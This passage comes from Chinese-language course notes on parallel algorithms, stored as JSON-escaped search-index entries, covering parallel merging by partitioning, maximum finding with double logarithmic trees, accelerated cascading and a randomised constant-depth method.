\u662f\u4e00\u4e2a\u5f88\u5927\u7684\u503c\uff0c\u6bcf\u4e2a\u5b50\u95ee\u9898\u5f88\u5c0f\uff0c\u5982 PPT \u7b2c 17 \u9875\u56fe\u6240\u793a\u3002\u6211\u4eec\u9996\u5148\u5bf9\u6bcf\u4e2a\u5b50\u95ee\u9898\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\u6c42\u51fa\u5b83\u4eec\u5728\u53e6\u4e00\u4e2a\u6570\u7ec4\u7684\u4f4d\u7f6e\uff0c\u8fd9\u4e00\u6b65\u5e94\u5f53\u4f7f\u7528\u4e8c\u5206\u67e5\u627e\uff0c\u5426\u5219\u56e0\u4e3a\u5b50\u95ee\u9898\u5f88\u591a\uff0c\u4f7f\u7528\u7ebf\u6027\u67e5\u627e\u4f1a\u5bfc\u81f4\u603b\u5de5\u4f5c\u91cf\u8fbe\u5230 \\( O(p \\cdot n) \\)\uff0c\u8fd9\u51e0\u4e4e\u662f\u5e73\u65b9\u7ea7\u522b\u7684\u5de5\u4f5c\u91cf\uff0c\u663e\u7136\u662f\u4e0d\u53ef\u63a5\u53d7\u7684\uff1b\u56e0\u6b64\u6211\u4eec\u4f7f\u7528\u4e8c\u5206\u67e5\u627e\uff0c\u8fd9\u6837\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(p \\log n) \\)\uff1b</p> \u5212\u5206A \u5212\u5206B \u5f97\u5230\u4e92\u4e0d\u76f8\u5e72\u5b50\u95ee\u9898 <p>\u771f\u5b9e\u5de5\u4f5c\uff1a\u73b0\u5728\u5269\u4e0b\u7684\u5de5\u4f5c\u5c31\u662f\u76f8\u90bb\u4e24\u4e2a\u7bad\u5934\u4e4b\u95f4\u7684\u90e8\u5206\u9700\u8981\u5728\u8fd9\u4e00\u5f88\u5c0f\u7684\u533a\u57df\u5185\u786e\u8ba4\u76f8\u5bf9\u4f4d\u7f6e\uff0c\u56e0\u4e3a\u8fd9\u4e9b\u4f4d\u7f6e\u786e\u5b9a\u540e\u76f4\u63a5\u53ef\u4ee5\u6839\u636e\u4e0a\u4e00\u6b65\u5212\u5206\u4e2d\u5f97\u5230\u7684\u7ed3\u679c\u786e\u5b9a\u5728\u6574 \u4e2a\u6700\u7ec8\u7684\u6570\u7ec4\u4e2d\u7684\u4f4d\u7f6e\u3002</p> <p>\u6ce8\u610f\uff0c\u5f88\u663e\u7136\u7684\u4e00\u70b9\u662f\uff0c\u8fd9\u4e9b\u7bad\u5934\u4e0d\u4f1a\u4ea4\u53c9\uff0c\u8fd9\u662f\u7531\u7bad\u5934\u4ee3\u8868\u7684\u5927\u5c0f\u5173\u7cfb\u51b3\u5b9a\u7684\u3002\u53e6\u4e00\u65b9\u9762\uff0c\u76f8\u90bb\u4e24\u4e2a\u7bad\u5934\u4e4b\u95f4\u7684\u8ddd\u79bb\u4e00\u5b9a\u4e0d\u8d85\u8fc7 \\( n/p \\)\uff0c\u56e0\u4e3a\u4e00\u65e6\u8d85\u8fc7 \\( n/p \\)\uff0c\u90a3\u5176\u4e2d\u4e00\u5b9a\u4f1a\u6709\u4e00\u4e2a\u7bad\u5934\uff08\u7bad\u5934\u51fa\u73b0\u7684\u9891\u7387\u662f\u6bcf \\( n/p \\) \u4e2a\u5143\u7d20\u4e00\u6b21\uff09\u3002\u5e76\u4e14\u4e00\u4e2a\u6570\u7ec4\u4e0a\u6709 \\( p \\) \u4e2a\u51fa\u53d1\u7684\u4f4d\u7f6e\u548c \\( p \\) \u4e2a\u5230\u8fbe\u7684\u4f4d\u7f6e\uff0c\u6240\u4ee5\u5728\u4efb\u610f\u4e00\u4e2a\u6570\u7ec4\u4e0a\uff0c\u51fa\u53d1\u70b9\u548c\u5230\u8fbe\u70b9\u4e00\u5171\u6700\u591a\u6709 \\( 2p \\) \u4e2a\u3002\u7136\u540e\u4e24\u4e2a\u6570\u7ec4\u7684\u8fd9\u4e9b\u5212\u5206\u533a\u57df\u6309\u56fe\u4e2d\u5f62\u5f0f\u4e00\u4e00\u5bf9\u5e94\u8fdb\u884c\u8ba1\u7b97\uff0c\u6bcf\u4e2a\u533a\u57df\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u5b50\u95ee\u9898\uff0c\u5373\u73b0\u5728\u8fd8\u5269\u4e0b \\( 2p \\) \u4e2a\u5927\u5c0f\u4e3a \\( O(n/p) \\) \u7684\u5b50\u95ee\u9898\u3002\u8fd9\u65f6\u6211\u4eec\u5e76\u884c\u5bf9\u6bcf\u4e2a\u5b50\u95ee\u9898\u76f4\u63a5\u4f7f\u7528\u7ebf\u6027\u67e5\u627e\u5373\u53ef\uff0c\u56e0\u4e3a\u6bcf\u4e2a\u5b50\u95ee\u9898\u90fd\u975e\u5e38\u5c0f\uff08\u5927\u5c0f\u4e3a \\( O(n/p) \\)\uff09\uff0c\u6b64\u65f6\u6df1\u5ea6\u4e3a \\( O(n/p) \\) \u4e5f\u5f88\u5c0f\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( 2p \\cdot O(n/p) = O(n) \\) \u662f\u7b26\u5408\u8981\u6c42\u7684\u3002\u800c\u5982\u679c\u4f7f\u7528\u4e8c\u5206\u67e5\u627e\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a</p> \\[ 2p \\cdot \\frac{n}{p} \\cdot O\\left(\\log \\frac{n}{p}\\right) = 2n \\log \\frac{n}{p}, \\] <p>\u8fd9\u662f\u56e0\u4e3a\u6709 \\( 2p \\) \u4e2a\u5b50\u95ee\u9898\uff0c\u6bcf\u4e2a\u5b50\u95ee\u9898\u90fd\u81f3\u591a\u6709 \\( \\frac{n}{p} \\) \u4e2a\u5143\u7d20\u8981\u7528\u81f3\u591a \\( \\log \\left( \\frac{n}{p} \\right) \\) \u7684\u65f6\u95f4\u786e\u5b9a\u4f4d\u7f6e\uff0c\u8fd9\u5e76\u65e0\u6cd5\u4fdd\u8bc1\u662f \\( O(n) \\) \u7684\u3002</p> <p>\u73b0\u5728\u7684\u95ee\u9898\u5c31\u5728\u4e8e\uff0c\u8fd8\u6709\u4e24\u4e2a\u65f6\u95f4\u590d\u6742\u5ea6\u672a\u5b9a\uff1a\u7b2c\u4e00\u6b65\u5212\u5206\u7684\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(p \\log n) \\)\uff0c\u7b2c\u4e8c\u6b65\u771f\u5b9e\u5de5\u4f5c\u7684\u6df1\u5ea6\u4e3a \\( O(n/p) \\)\u3002\u6211\u4eec\u5e0c\u671b\u627e\u5230\u4e00\u4e2a\u6700\u4f18\u7684 \\( p \\)\uff0c\u4f7f\u5f97\u7b2c\u4e00\u6b65\u603b\u5de5\u4f5c\u91cf\u662f \\( O(n) \\) \u7684\uff0c\u7b2c\u4e8c\u6b65\u6df1\u5ea6\u662f \\( O(\\log n) \\) \u7684\u3002\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\) \u7684\u5e76\u884c\u7b97\u6cd5\uff0c\u6210\u529f\u505a\u5230\u53d6\u957f\u8865\u77ed\u3002\u4e8b\u5b9e\u4e0a\uff0c\u6211\u4eec\u5f88\u5bb9\u6613\u770b\u51fa\uff0c\\( p = \\frac{n}{\\log n} \\) \u5c31\u662f\u6ee1\u8db3\u6761\u4ef6\u7684\uff0c\u56e0\u6b64\u6211\u4eec\u5c31\u9009\u53d6\u8fd9\u4e2a \\( p \\)\uff0c\u5f97\u5230\u4e86\u4e00\u4e2a\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\) \u7684\u5e76\u884c\u7b97\u6cd5\u3002</p>"},{"location":"NOTE/ADS/wk13/#_7","title":"\u5bfb\u627e\u6700\u5927\u5143\u7d20","text":"<p>\u7ed9\u5b9a\u4e00\u7ec4\u6570\u5217 \\( A \\)\uff0c\u8981\u6c42\u627e\u5230\u5176\u4e2d\u6700\u5927\u7684\u5143\u7d20\u3002</p>"},{"location":"NOTE/ADS/wk13/#_8","title":"\u4e0d\u4f7f\u7528\u5212\u5206\u8303\u5f0f","text":"<p>\u7c7b\u4f3c\u4e8e\u524d\u9762\u6c42\u548c\u95ee\u9898\u7684\u505a\u6cd5\uff0c\u6784\u9020\u4e00\u68f5\u4e8c\u53c9\u6811\uff0c\u521d\u59cb\u5143\u7d20\u4e24\u4e24\u5206\u7ec4\u6bd4\u8f83\uff0c\u7136\u540e\u9010\u5c42\u4e0a\u9012\uff0c\u6700\u7ec8\u5f97\u5230\u6700\u5927\u503c\u3002\u8fd9\u6837\u7684\u7b97\u6cd5\u6df1\u5ea6\u4e3a \\( O(\\log n) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\)</p> <p>\u6211\u4eec\u53ef\u4ee5\u91c7\u53d6\u66f4\u6fc0\u8fdb\u7684\u7b56\u7565\uff1a\u4e3a\u4ec0\u4e48\u4e0d\u4e00\u6b21\u6027\u6bd4\u8f83\u6240\u6709\u5143\u7d20\u5462\uff1f\u8fd9\u6837\u6df1\u5ea6\u53ea\u9700 \\( O(1) \\)\u3002\u5982\u679c\u4e0d\u8003\u8651\u603b\u5de5\u4f5c\u91cf\u8fc7\u5927\u7684\u95ee\u9898\uff0c\u8fd9\u79cd\u65b9\u6cd5\u662f\u53ef\u884c\u7684\uff1a\u5e76\u884c\u6bd4\u8f83\u6bcf\u4e00\u5bf9\u5143\u7d20 \\( A[i] \\) \u548c \\( A[j] \\)\uff0c\u53ea\u8981 \\( A[i] \\) \u5728\u6bd4\u8f83\u4e2d\u8f83\u5c0f\uff0c\u5c31\u5728\u65b0\u6570\u7ec4 \\( B[i] \\) \u4e2d\u5199\u5165 1\uff08\u521d\u59cb\u65f6 \\( B \\) \u7684\u6240\u6709\u4f4d\u7f6e\u4e3a 0\uff09\u3002\u6700\u7ec8\uff0c\u6700\u5927\u7684\u5143\u7d20\u4ece\u672a\u88ab\u5199\u5165 1\uff0c\u56e0\u6b64\u4ecd\u4e3a 0\u3002\u6211\u4eec\u5e76\u884c\u68c0\u67e5 \\( B \\) \u4e2d\u54ea\u4e2a\u5143\u7d20\u4e3a 0\uff0c\u5373\u4e3a\u6700\u5927\u503c\u3002</p> <p>\u8fd9\u7c7b\u4f3c\u4e8e\u4e00\u573a\u6df7\u6218\uff0c\u6bcf\u4e2a\u4eba\u90fd\u8981\u4e0e\u4ed6\u4eba\u5bf9\u6218\uff0c\u80dc\u8005\u7559\u4e0b\uff0c\u8d25\u8005\u79bb\u573a\u3002\u6700\u540e\u7559\u4e0b\u7684\u5c31\u662f\u6700\u5927\u8005\u3002</p> <p>\u5728\u5e76\u884c\u6bd4\u8f83\u6bcf\u5bf9\u5143\u7d20\u65f6\uff0c\u53ef\u80fd\u4f1a\u6709\u591a\u4e2a\u7ebf\u7a0b\u540c\u65f6\u5199\u5165\u6570\u7ec4 \\( B \\)\u3002\u5b9e\u9645\u4e0a\uff0c\u6211\u4eec\u53ea\u9700\u4f7f\u7528\u524d\u9762\u63d0\u5230\u7684 CRCW \u7b56\u7565\uff0c\u5141\u8bb8\u540c\u65f6\u5199\u5165\uff0c\u5e76\u6309 common \u89c4\u5219\u5199\u5165\u5373\u53ef\uff0c\u56e0\u4e3a\u6240\u6709\u7ebf\u7a0b\u5728\u4efb\u610f \\( B[i] \\) \u5904\u53ea\u4f1a\u5199\u5165\u6570\u5b57 1\uff0c\u6545\u7528 common \u89c4\u5219\u5373\u53ef\u5b9e\u73b0\u5199\u5165\u3002</p> <p>\u663e\u7136\uff0c\u8fd9\u79cd\u7b97\u6cd5\u7684\u6df1\u5ea6\u975e\u5e38\u7406\u60f3\uff0c\u4e3a \\( O(1) \\)\uff0c\u4f46\u603b\u5de5\u4f5c\u91cf\u4e3b\u8981\u5728\u4e8e\u6bd4\u8f83\u6bcf\u5bf9\u5143\u7d20\u7684\u503c\uff0c\u56e0\u6b64\u4e3a \\( O(n^2) \\)\u3002\u5982\u679c\u80fd\u5728\u603b\u5de5\u4f5c\u91cf\u548c\u6df1\u5ea6\u4e0a\u53d6\u957f\u8865\u77ed\uff0c\u8fd9\u4e24\u79cd\u65b9\u6cd5\u5c06\u975e\u5e38\u5b8c\u7f8e\u3002</p>"},{"location":"NOTE/ADS/wk13/#double-logarithmic-partitioning","title":"\u53cc\u5bf9\u6570\u5212\u5206\u8303\u5f0f(double logarithmic partitioning)","text":"<p>\u53cc\u5bf9\u6570\u8303\u5f0f\u662f\u4e00\u79cd\u53ef\u4ee5\u4e8c\u53c9\u6811\u7684\u6269\u5c55\u3002\u5728\u5b8c\u5168\u4e8c\u53c9\u6811\u4e2d\uff0c\u8bbe\u53f6\u5b50\u7684\u6570\u91cf\u4e3a \\( n \\)\uff0c\u90a3\u4e48\u6811\u9ad8\u662f \\( \\log n \\) \u7ea7\u522b\u7684\uff0c \u8fd9\u91cc\u53cc\u5bf9\u6570\u5219\u662f\u5e0c\u671b\u6784\u9020\u4e00\u68f5\u6811\uff0c\u4f7f\u5f97\u6811\u9ad8\u662f \\( \\log \\log n \\) \u7ea7\u522b\u7684\u3002\u4e3a\u4e86\u6784\u9020\u8fd9\u6837\u4e00\u68f5\u6811\uff0c\u6211\u4eec\u9996\u5148\u8bbe\u6811 \u4e2d\u6bcf\u4e2a\u8282\u70b9\u7684 level \u4e3a\u4ece\u6839\u5230\u8be5\u8282\u70b9\u7684\u8ddd\u79bb\uff08\u9700\u8981\u7ecf\u8fc7\u7684\u8fb9\u6570\uff09\uff0c\u6839\u7684 level \u4e3a 0\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u6784\u9020\u8fd9\u68f5 \u6811\u5982\u4e0b\uff1a</p> <ol> <li> <p>\u8bbe\u67d0\u4e2a\u8282\u70b9\u7684 level \u4e3a \\( s \\)\uff0c\u5f53 \\( s \\leq \\log \\log n - 1 \\) \u65f6\uff0c\u5219\u5b83\u6709 \\( 2^{2^{h-s-1}} \\) \u4e2a\u5b69\u5b50\uff1b</p> </li> <li> <p>\u5f53 \\( s = \\log \\log n \\) \u65f6\uff0c\u5b83\u6709 2 \u4e2a\u5b69\u5b50\u4f5c\u4e3a\u6811\u7684\u53f6\u5b50\u3002</p> </li> </ol> <p>\u4e8b\u5b9e\u4e0a\uff0c\u6211\u4eec\u53ef\u4ee5\u89c2\u5bdf\u5230\uff0c\u5f53\u4e00\u4e2a\u8282\u70b9\u7684\u5c42\u7ea7\uff08level\uff09\u4e3a \\( s \\) \u4e14\u4e0d\u5728\u5012\u6570\u4e24\u884c\u65f6\uff0c\u6839\u636e\u5b9a\u4e49\uff0c\u5b83\u6709 \\( 2^{2^{h-s-1}} \\) \u4e2a\u5b69\u5b50\u3002\u4ee5\u8be5\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u53ef\u4ee5\u8ba1\u7b97\u4e3a \\( 2^{2^{h-s}} \\)\u3002\u6211\u4eec\u77e5\u9053\uff1a</p> \\[ 2^{2^{h-s-1}} = \\sqrt{2^{2^{h-s}}} \\] <p>\u8fd9\u610f\u5473\u7740\u5728\u6bcf\u4e2a\u8282\u70b9\u5904\uff0c\u6211\u4eec\u5b9e\u9645\u4e0a\u5c06\u95ee\u9898\u5206\u6210\u4e86 \\( \\sqrt{m} \\) \u4e2a\u5b50\u95ee\u9898\uff0c\u5176\u4e2d \\( m \\) \u662f\u8be5\u8282\u70b9\u5bf9\u5e94\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u3002\u6211\u4eec\u77e5\u9053\uff0c\u5728\u53cc\u5bf9\u6570\u6811\u4e2d\uff0c\u67d0\u4e00\u5c42\u5355\u4e2a\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\uff0c\u5176\u5b9e\u662f\u4e0a\u4e00\u5c42\u67d0\u4e2a\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u7684\u5e73\u65b9\u6839\uff08\u56e0\u4e3a\u5c42\u6570\u4e3a \\( s \\) \u7684\u67d0\u4e2a\u8282\u70b9\uff0c\u4ee5\u5b83\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u662f \\( 2^{2^{h-s}} \\)\uff0c\u6bcf\u589e\u52a0\u4e00\u5c42 \\( s \\) \u5b9e\u9645\u4e0a\u5c31\u662f\u5f00\u4e00\u6b21\u5e73\u65b9\u6839\uff09\u3002\u56e0\u6b64\uff0c\u5c42\u6570\u8d8a\u5f80\u4e0b\uff0c\u5b50\u95ee\u9898\u7684\u5927\u5c0f\u9010\u6b65\u5f00\u5e73\u65b9\u6839\u3002</p> <p>\u5047\u8bbe\u539f\u95ee\u9898\u7684\u8f93\u5165\u5927\u5c0f\u4e3a \\( n \\)\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0\u4e00\u4e9b\u865a\u62df\u8282\u70b9\uff08dummy nodes\uff09\u6765\u6784\u9020\u51fa\u4ee5\u8fd9 \\( n \\) \u4e2a\u8282\u70b9\u4e3a\u53f6\u5b50\u7684\u53cc\u5bf9\u6570\u6811\u3002\u8fd9\u6837\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u53cc\u5bf9\u6570\u8303\u5f0f\u6765\u8bbe\u8ba1\u4e00\u4e2a\u5e76\u884c\u7b97\u6cd5\uff0c\u5373\u5728\u6bcf\u4e00\u5c42\u5c06\u95ee\u9898\u5206\u4e3a \\( \\sqrt{m} \\) \u4e2a\u5b50\u95ee\u9898\uff0c\u5176\u4e2d \\( m \\) \u662f\u8fd9\u4e00\u5c42\u5355\u4e2a\u8282\u70b9\u4e3a\u6839\u7684\u5b50\u6811\u7684\u53f6\u5b50\u6570\u91cf\u3002\u8fd9\u6837\uff0c\u6bcf\u4e2a\u5b50\u95ee\u9898\uff08\u5b9e\u9645\u4e0a\u5c31\u662f\u6811\u4e0a\u7684\u67d0\u4e2a\u8282\u70b9\uff09\u5bf9\u5e94\u7684\u53f6\u5b50\u6570\u4e5f\u5c31\u662f \\( \\sqrt{m} \\)\uff0c\u8fd9\u5c31\u4e0e\u53cc\u5bf9\u6570\u6811\u7ed3\u5408\u8d77\u6765\u4e86\u3002\u6211\u4eec\u719f\u77e5\u7684\u4e8c\u53c9\u6811\u5219\u662f\u6bcf\u5c42\u5206\u6210\u4e24\u4e2a\u5b50\u95ee\u9898\uff0c\u662f\u66f4\u7b80\u5355\u7684\u7b56\u7565\u3002</p> <p>\u5c06\u8fd9\u4e00\u601d\u8def\u5957\u7528\u5728\u6211\u4eec\u7684\u95ee\u9898\u4e0a\uff1a\u6211\u4eec\u9996\u5148\u5c06\u6570\u7ec4\u5212\u5206\u4e3a \\( \\sqrt{n} \\) \u4efd\uff0c\u6bcf\u4e00\u4efd\u7684\u5927\u5c0f\u4e3a \\( \\sqrt{n} \\)\uff0c\u7136\u540e\u6211\u4eec\u5e76\u884c\u9012\u5f52\u627e\u5230\u6bcf\u4e00\u4efd\u4e2d\u7684\u6700\u5927\u503c\uff0c\u6700\u540e\u5728\u5f52\u5e76\u9636\u6bb5\u518d\u5e76\u884c\u627e\u5230\u8fd9 \\( \\sqrt{n} \\) \u4e2a\u6700\u5927\u503c\u4e2d\u7684\u6700\u5927\u503c\u5373\u53ef\u3002\u8bbe\u6574\u4e2a\u7b97\u6cd5\u6df1\u5ea6\u4e3a \\( D(n) \\)\uff0c\u5de5\u4f5c\u91cf\u4e3a \\( W(n) \\)\uff0c\u5b83\u4eec\u90fd\u662f\u5173\u4e8e\u6570\u7ec4\u957f\u5ea6\u7684\u51fd\u6570\u3002\u6bcf\u4e00\u4efd\u4e2d\u7684\u6700\u5927\u503c\u6211\u4eec\u91c7\u7528\u9012\u5f52\u7684\u7b56\u7565\uff0c\u56e0\u6b64\u957f\u5ea6\u4e3a \\( \\sqrt{n} \\) \u7684\u6570\u7ec4\u7684\u6700\u5927\u503c\u7684\u5bfb\u627e\u9700\u8981 \\( D(\\sqrt{n}) \\) \u7684\u6df1\u5ea6\u548c \\( W(\\sqrt{n}) \\) \u7684\u603b\u5de5\u4f5c\u91cf\u3002\u4ee5\u4e0a\u662f\u9012\u5f52\u9636\u6bb5\uff0c\u5728\u5f52\u5e76\u9636\u6bb5\uff0c\u8fd4\u56de\u7684 \\( \\sqrt{n} \\) \u4e2a\u6700\u5927\u503c\u4e2d\u7684\u6700\u5927\u503c\u6211\u4eec\u91c7\u7528\u524d\u9762\u7684\u4e24\u4e24\u6bd4\u8f83\u7684\u65b9\u6cd5\u5373\u53ef\uff0c\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O((\\sqrt{n})^2) = O(n) \\)\u3002\u4e8e\u662f\u6211\u4eec\u6309\u7167\u5206\u6cbb\u6cd5\u7684\u65b9\u5f0f\u53ef\u4ee5\u5199\u51fa\u9012\u63a8\u5f0f</p> \\[    D(n) = D(\\sqrt{n}) + O(1) \\] \\[    W(n) = \\sqrt{n} W(\\sqrt{n}) + O(n) \\] <p>\u6362\u5143\u6cd5\u5f97\u5230 \\(D(n) = O(\\log \\log n)\\)\uff0c\\(W(n) = O(n \\log \\log n)\\)\u3002</p> \u53cc\u5bf9\u6570\u5212\u5206\u8303\u5f0f"},{"location":"NOTE/ADS/wk13/#accelerated-cascade","title":"\u52a0\u901f\u7ea7\u8054\u8303\u5f0f(accelerated cascade)","text":"<ol> <li>\u5c06\u6570\u7ec4\u5206\u4e3a \\( \\frac{n}{\\log \\log n} \\) \u4efd\uff0c\u5373\u6bcf\u4e00\u4efd\u7684\u5927\u5c0f\u4e3a \\( \\log \\log n \\)\uff0c\u5b9e\u9645\u4e0a\u6bcf\u4e00\u4efd\u7684\u5927\u5c0f\u90fd\u5f88\u5c0f\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5229\u7528\u7ebf\u6027\u67e5\u627e\u7684\u65b9\u5f0f\u627e\u5230\u6bcf\u4e00\u4efd\u7684\u6700\u5927\u503c\uff0c\u5219\u6bcf\u4e00\u4efd\u7684\u6df1\u5ea6\u548c\u5de5\u4f5c\u91cf\u90fd\u662f \\( O(\\log \\log n) \\) \u7684\uff1b</li> <li>\u7136\u540e\u6211\u4eec\u5bf9\u4e0a\u9762\u6c42\u51fa\u7684 \\( \\frac{n}{\\log \\log n} \\) \u4e2a\u6700\u5927\u503c\u4f7f\u7528\u53cc\u5bf9\u6570\u8303\u5f0f\u7684\u7b97\u6cd5\u3002</li> </ol> <p>\u603b\u7684\u6df1\u5ea6\u4e3a\u6bcf\u4e00\u4efd\u7684\u6df1\u5ea6\u52a0\u4e0a\u53cc\u5bf9\u6570\u8303\u5f0f\u7684\u6df1\u5ea6\uff0c\u5373 </p> \\[ D(n) = O(\\log \\log n) + O(\\log \\log (n/\\log \\log n)) = O(\\log \\log n) \\] <p>\u603b\u5de5\u4f5c\u91cf\u4e3a\u6bcf\u4e00\u4efd\u7684\u5de5\u4f5c\u91cf\u4e4b\u548c\u52a0\u4e0a\u53cc\u5bf9\u6570\u8303\u5f0f\u7684\u603b\u5de5\u4f5c\u91cf\uff0c\u5373 </p> \\[     W(n) = \\frac{n}{\\log \\log n} \\cdot O(\\log \\log n) + O(n/ \\log \\log n \\cdot \\log \\log(n/ \\log \\log n)) = O(n) \\]"},{"location":"NOTE/ADS/wk13/#_9","title":"\u968f\u673a\u7b97\u6cd5","text":"<p>\u770b\u8d77\u6765\u6211\u4eec\u8fd8\u6709\u6539\u8fdb\u7684\u7a7a\u95f4\uff0c\u6bd5\u7adf\u5f53\u521d\u66b4\u529b\u7684\u4e24\u4e24\u6bd4\u8f83\u65b9\u6cd5\u80fd\u5b9e\u73b0 O(1) \u7684\u6df1\u5ea6\u3002\u63a5\u4e0b\u6765\u7684\u968f\u673a\u7b97\u6cd5\uff0c\u5b83\u53ef\u4ee5\u4fdd\u8bc1\u4ee5\u975e\u5e38\u9ad8\u7684\u6982\u7387\u5728 O(1) \u7684\u6df1\u5ea6\u548c O(n) \u7684\u5de5\u4f5c\u91cf\u5185\u627e\u5230\u6700\u5927\u503c\u3002</p> <ol> <li> <p>\u7b2c\u4e00\u6b65: \u4ece\u957f\u5ea6\u4e3a \\( n \\) \u7684\u6570\u7ec4 \\( A \\) \u4e2d\uff0c\u4f9d\u7167\u5747\u5300\u5206\u5e03\u53d6\u51fa \\( n^{7/8} \\) \u4e2a\u5143\u7d20\uff0c\u5f97\u5230\u65b0\u7684\u6570\u7ec4\u8bb0\u4e3a \\( B \\)\u3002\u8fd9\u4e00\u6b65\u9700\u8981 \\( n^{7/8} \\) \u4e2a\u5904\u7406\u5668\u5404\u81ea\u8d1f\u8d23\u62bd\u4e00\u4e2a\u7136\u540e\u653e\u5230\u5185\u5b58\u4e2d\u67d0\u4e2a\u4f4d\u7f6e\uff0c\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n^{7/8}) \\)\u3002</p> </li> <li> <p>\u7b2c\u4e8c\u6b65: \u6c42\u51fa \\( B \\) \u4e2d\u7684\u6700\u5927\u503c\uff0c\u4f7f\u7528\u786e\u5b9a\u6027\u7684\u7b97\u6cd5\u5b9e\u73b0\uff0c\u901a\u8fc7\u5982\u4e0b\u4e09\u4e2a\u5b50\u6b65\u9aa4\u5b9e\u73b0\uff1a</p> </li> <li>\u628a \\( B \\) \u5206\u6210 \\( n^{3/4} \\) \u4e2a\u957f\u5ea6\u4e3a \\( n^{1/8} \\) \u7684\u5b50\u6570\u7ec4\uff0c\u7136\u540e\u4f7f\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u66b4\u529b\u7b97\u6cd5\u5e76\u884c\u627e\u5230\u6bcf\u4e2a\u5b50\u6570\u7ec4\u7684\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n^{3/4} \\cdot (n^{1/8})^2) = O(n) \\)\uff0c\u56e0\u4e3a\u6709 \\( n^{3/4} \\) \u4e2a\u5b50\u6570\u7ec4\uff0c\u6bcf\u4e2a\u5b50\u6570\u7ec4\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u529e\u6cd5\u7684\u590d\u6742\u5ea6\u662f\u6570\u7ec4\u957f\u5ea6\u5e73\u65b9\u7ea7\u522b\u7684\uff1b\u7136\u540e\u5c06\u8fd9 \\( n^{3/4} \\) \u4e2a\u6700\u5927\u503c\u653e\u5728\u65b0\u6570\u7ec4 \\( C \\) \u4e2d\u3002</li> <li>\u628a \\( C \\) \u5206\u6210 \\( n^{1/2} \\) \u4e2a\u957f\u5ea6\u4e3a \\( n^{1/4} \\) \u7684\u5b50\u6570\u7ec4\uff0c\u7136\u540e\u4f7f\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u66b4\u529b\u7b97\u6cd5\u5e76\u884c\u627e\u5230\u6bcf\u4e2a\u5b50\u6570\u7ec4\u7684\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n^{1/2} \\cdot (n^{1/4})^2) = O(n) \\)\uff0c\u7136\u540e\u5c06\u8fd9 \\( n^{1/2} \\) \u4e2a\u6700\u5927\u503c\u653e\u5728\u65b0\u6570\u7ec4 \\( D \\) \u4e2d\u3002</li> <li>\u6570\u7ec4 \\( D \\) \u76f4\u63a5\u4f7f\u7528\u4e24\u4e24\u6bd4\u8f83\u7684\u65b9\u6cd5\u627e\u5230\u6700\u5927\u503c\u3002\u8fd9\u4e00\u6b65\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O((n^{1/2})^2) = O(n) \\)\u3002</li> </ol> <p>\u7efc\u5408\u4e0a\u8ff0\u65b9\u6cd5\uff0c\u6574\u4e2a\u7b2c\u4e8c\u6b65\u76f8\u5f53\u4e8e\u4e00\u4e2a\u4e09\u8f6e\u7684\u6dd8\u6c70\u8d5b\uff0c\u6574\u4f53\u800c\u8a00\u7b2c\u4e8c\u6b65\u7684\u6df1\u5ea6\u4e3a \\( O(1) \\)\uff0c\u603b\u5de5\u4f5c\u91cf\u4e3a \\( O(n) \\)\uff0c\u5e76\u4e14\u6211\u4eec\u80fd\u6c42\u51fa \\( B \\) \u4e2d\u7684\u6700\u5927\u503c\uff0c\u4e5f\u5c31\u662f\u62bd\u53d6\u7684 \\( n^{7/8} \\) \u4e2a\u5143\u7d20\u4e2d\u7684\u6700\u5927\u503c\u3002</p> <p>\u7b2c\u4e09\u6b65\uff1a\u76ee\u524d\u6211\u4eec\u53ea\u5f97\u5230\u4e86 \\( n^{7/8} \\) \u4e2a\u5143\u7d20\u4e2d\u7684\u6700\u5927\u503c\uff08\u8bb0\u4e3a \\( M 